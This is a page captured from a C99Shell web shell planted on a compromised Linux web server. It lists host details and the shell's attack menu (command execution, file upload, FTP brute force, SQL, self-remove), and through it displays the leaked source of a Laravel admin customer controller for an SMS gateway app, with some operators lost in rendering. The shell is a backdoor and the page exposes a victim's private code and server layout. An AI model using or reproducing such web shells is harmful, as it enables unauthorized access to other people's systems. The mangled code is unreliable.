!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html/app/Http/Controllers/Admin/   drwxr-xr-x
Free 28.49 GB of 117.98 GB (24.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CustomerController.php (10.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Events\SendMail;
use 
App\Http\Controllers\Controller;
use 
App\Models\AuthorizationToken;
use 
App\Models\BillingRequest;
use 
App\Models\Customer;
use 
App\Models\CustomerPlan;
use 
App\Models\CustomerSettings;
use 
App\Models\Label;
use 
App\Models\Number;
use 
App\Models\Plan;
use 
Carbon\Carbon;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Log;
use 
Spatie\Permission\Models\Role;

class 
CustomerController extends Controller
{
    public function 
index()
    {
        return 
view('admin.customers.index');
    }

    public function 
getAll()
    {
        
$customers Customer::orderBy('created_at''desc')->where('type''customer')->select(['id''first_name''last_name','type''email''status''created_at']);

        return 
datatables()->of($customers)
            ->
addColumn('full_name', function ($q) {
                return 
$q->full_name;
            })
            ->
addColumn('action', function (Customer $q) {
                return 
"<a class='btn btn-sm btn-info' data-toggle='tooltip' data-placement='top' title='Edit' href='" route('admin.customers.edit', [$q->id]) . "'>"."<i class='fas fa-edit'></i>"."</a>  &nbsp; &nbsp;".
                    
'<button class="btn btn-sm btn-primary tt" data-message="You will be logged in as customer?"
                                        data-action='
.route('admin.customer.login.ass').'
                                        data-input={"id":'
.$q->id.'}
                                        data-toggle="modal" data-target="#modal-confirm" data-toggle="tooltip" data-placement="top" title="Login as"><i class="fas fa-sign-in-alt"></i></button>' 
;
            })
            ->
addColumn('status', function ($q) {
                if (
$q->status == 'Active'){
                    return 
'<span class="pl-2 pr-2 pt-1 pb-1 bg-success" style="border-radius:25px;">'.$q->status.'</span>';
                }else {
                    return 
'<span class="pl-2 pr-2 pt-1 pb-1 bg-danger" style="border-radius:25px;">'.$q->status.'</span>';
                }
            })
            ->
rawColumns(['status','action'])
            ->
toJson();
    }

    public function 
create()
    {
        return 
view('admin.customers.create');
    }

    public function 
store(Request $request)
    {
            
$request->validate([
                
'first_name' => 'required',
                
'last_name' => 'required',
                
'email' => 'required|unique:customers',
                
'password' => 'required',
                
'status' => 'required'
            
]);

            
$request['email_verified_at']=now();
            
$role_name='main_customer';

            
$role Role::updateOrCreate(['name'=>$role_name],['name'=>$role_name]);

            
$customer=auth()->user()->customers()->create($request->all());

            
$customer->updated_at=now();
            
$customer->save();

            
$customer->assignRole($role);

            
$access_token$customer->createToken($customer->email)->plainTextToken;
            
$preToken AuthorizationToken::where('customer_id'$customer->id)->first();
            
$authorization = isset($preToken) ? $preToken : new AuthorizationToken();
            
$authorization->access_token $access_token;
            
$authorization->customer_id=$customer->id;
            
$authorization->refresh_token $access_token;
            
$authorization->save();

            
$setting= new CustomerSettings();
            
$setting->customer_id $customer->id;
            
$setting->name 'email_notification';
            
$setting->value 'false';
            
$setting->save();

            
$label = new Label();
            
$label->title='new';
            
$label->customer_id=$customer->id;
            
$label->color='red';
            
$label->status='active';
            
$label->save();

            
//Assigning plan to customer
            
$plan Plan::first();
            
$customer->plans()->create(['plan_id' => $plan->id,
                
'sms_limit' => $plan->sms_limit,
                
'contact_limit' => $plan->contact_limit,
                
'daily_send_limit' => $plan->daily_send_limit,
                
'daily_receive_limit' => $plan->daily_receive_limit,
                
'device_limit' => $plan->device_limit,
                
'is_current' => 'yes',
                
'status' => 'accepted',
                
'price' => $plan->price]);

            
$time_zone config('app.timezone');
            
$data = ['name' => 'timezone'];
            
$setting $customer->settings()->firstOrNew($data);
            
$setting->value $time_zone;
            
$setting->save();
            
cache()->flush();

            return 
back()->with('success''Customer successfully created');

    }

    public function 
edit(Customer $customer)
    {
        
$data['customer'] = $customer;
        
$data['currentPlan'] = $customer->currentPlan();
        
$data['activePlans'] = auth()->user()->active_plans;
        return 
view('admin.customers.edit'$data);
    }

    public function 
update(Customer $customerRequest $request)
    {
        
$request->validate([
            
'first_name' => 'required',
            
'last_name' => 'required',
            
'email' => 'required|unique:customers,email,' $customer->id,
            
'status' => 'required'
        
]);

        
//Check for password availability
        
if (!$request->password) unset($request['password']);

        
//update the model
        
$customer->update($request->all());

        return 
back()->with('success''Customer successfully updated');
    }

    public function 
changePlan(Request $request)
    {
        
$request->validate([
            
'id' => 'required',
            
'customer_id' => 'required',
        ]);

        
$customer auth()->user()->customers()->where('id'$request->customer_id)->first();
        if (!
$customer) return back()->with('fail''Customer not found');

        
$plan Plan::find($request->id);
        if (!
$plan) return back()->with('fail''Plan not found');
        
$date Carbon::now();
        
$currentPlan $customer->currentPlan();
        
$pendingPlan CustomerPlan::where('customer_id',$customer->id)->where('status','pending')->first();

        if (isset(
$currentPlan->renew_date) && $currentPlan->renew_date){
            
$diffDate $currentPlan->renew_date->diff($date);
            
$days $diffDate->format('%a');
            if (isset(
$currentPlan->plan->recurring_type) && $currentPlan->plan->recurring_type=='monthly' || $currentPlan->plan->recurring_type=='yearly') {
                if (
$days <= 5) {
                    
$renew_date true;
                }
            }else{
                if (
$days 2) {
                    
$renew_date true;
                }
            }
        }

        
$pre_plan $customer->currentPlan();
        if(isset(
$pre_plan->plan_id)) {
            
$isAssigned $pre_plan->plan_id == $plan->id;
            if (
$isAssigned && !isset($renew_date)) return back()->with('fail''This Plan is already assigned to this customer');
        }

        if (isset(
$request->from)) {

            if (
$request->from == 'request' && $request->billing_id && in_array($request->status, ['accepted''rejected'])) {
                
$billingRequest BillingRequest::find($request->billing_id);
                if (!
$billingRequest)
                    return 
back()->with('fail''Billing request not found');
                
$billingRequest->delete();

            } else
                return 
back()->with('fail''Invalid data for billing request');
        }

        if (
$plan->recurring_type == 'weekly'){
            
$renewDate Carbon::now()->addDay(7);
        }elseif (
$plan->recurring_type == 'monthly'){
            
$renewDate Carbon::now()->addMonth();
        }elseif (
$plan->recurring_type == 'yearly'){
            
$renewDate Carbon::now()->addMonth(12);
        }else{
            
$renewDate null;
        }
        if (isset(
$renew_date) && $renew_date){
            if (
$plan->recurring_type == 'weekly'){
                
$renewDate $currentPlan->renew_date->addDay(7);
            }elseif (
$plan->recurring_type == 'monthly'){
                
$renewDate $currentPlan->renew_date->addMonth(1);
            }elseif (
$plan->recurring_type == 'yearly'){
                
$renewDate $currentPlan->renew_date->addMonth(12);
            }
            
$renew  $renewDate;
        }else{
            
$renew  $renewDate;
        }

        
$emailTemplate get_email_template('plan_accepted');
        if (
$request->status=='accepted' &&  $emailTemplate) {
            
$regTemp str_replace('{customer_name}'$customer->first_name.' '.$customer->last_name$emailTemplate->body);
            
SendMail::dispatch($customer->email$emailTemplate->subject$regTemp);
        }

        
//delete previous plan
        //TODO: suggestion: might need to change plan status in future without deleting plan
        
if ($pre_plan && $request->status == 'accepted') {
            
$customer->plans()->update(['is_current' => 'no']);
        }

        if (isset(
$renew_date) || $pendingPlan){
            if (
$request->status == 'rejected'){
                
$pendingPlan->renew_date null;
                
$pendingPlan->is_current ='no';
                
$pendingPlan->payment_status 'unpaid';
                
$pendingPlan->status 'rejected';
                
$pendingPlan->save();
            }else{
                
$pendingPlan->renew_date $renew;
                
$pendingPlan->is_current ='yes';
                
$pendingPlan->payment_status 'paid';
                
$pendingPlan->status 'accepted';
                
$pendingPlan->save();
            }

        }else{
            
$customer->plans()->create(['plan_id' => $plan->id'sms_limit' => $plan->sms_limit,'price' => $plan->price,'contact_limit' => $plan->contact_limit,'device_limit' => $plan->device_limit,'daily_receive_limit' => $plan->daily_receive_limit,'daily_send_limit' => $plan->daily_send_limit,'is_current' => 'yes','payment_status' => 'paid','status' => 'accepted','renew_date'=>$renew,'recurring_type'=>$plan->recurring_type]);
        }

        
// TODO:: send email here
        
cache()->forget('pending_request');

        return 
back()->with('success''Plan successfully updated for the customer');
    }

    public function 
loginAs(Request $request){
        if(!
$request->idabort(404);
        
auth('customer')->loginUsingId($request->id);
        return 
redirect()->route('customer.dashboard')->with('success',trans('You are now logged as customer'));
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--